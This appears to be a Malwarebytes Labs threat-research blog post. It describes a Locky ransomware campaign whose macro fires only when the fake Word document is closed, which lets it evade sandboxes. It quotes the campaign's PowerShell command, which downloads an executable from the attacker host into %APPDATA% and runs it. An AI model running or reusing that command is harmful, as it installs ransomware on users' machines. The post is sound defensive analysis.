By Marcelo Rivero and Jérôme Segura
The Locky ransomware has been very active since its return which we documented in a previous blog post. There are several different Locky campaigns going on at the same time, the largest being the one from affiliate ID 3 which comes with malicious ZIP containing .VBS or .JS attachments.
Malwarebytes researcher Marcelo Rivero discovered a new trick employed by Locky’s affiliate ID 5 to bypass automated analysis done via sandboxes.
Malware authors have used booby trapped Office documents containing macros to retrieve their payloads for some time, but ordinarily the code executes as soon as the user clicks the ‘Enable Content’ button. For analysis purposes, many sandboxes lower the security settings of various applications and enable macros by default, which allows for the automated capture of the malicious payload.
Strikes when you least expect it
However, in a new twist, this particular Locky campaign no longer simply triggers by running the macro itself, but waits until the fake Word document is closed by the user before it starts to invoke a set of commands.
“C:WindowsSystem32WindowsPowerShellv1.0powershell.exe” -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile(‘http://newhostrcm[.]top/admin.php?f=1’, $env:APPDATA + ‘sATTfJY.exe’); Start-Process $env:APPDATA’sATTfJY.exe’;
The payload is downloaded and launched from the %appdata% folder followed by the typical ransom note:
While not a groundbreaking technique, it nonetheless illustrates the constant cat and mouse battle between attackers and defenders. We ascertain that in their current form, the malicious documents are likely to exhibit a harmless behavior in most common sandboxes while still infecting end users that would logically close the file when they realize there is nothing to be seen.
Malwarebytes blocks this attack at several different layers and is not impacted by this latest trick.
Indicators of compromise:
The post Locky ransomware adds new anti sandbox feature appeared first on Malwarebytes Labs.
Click here for best antivirus and antispyware software
Powered by WPeMatico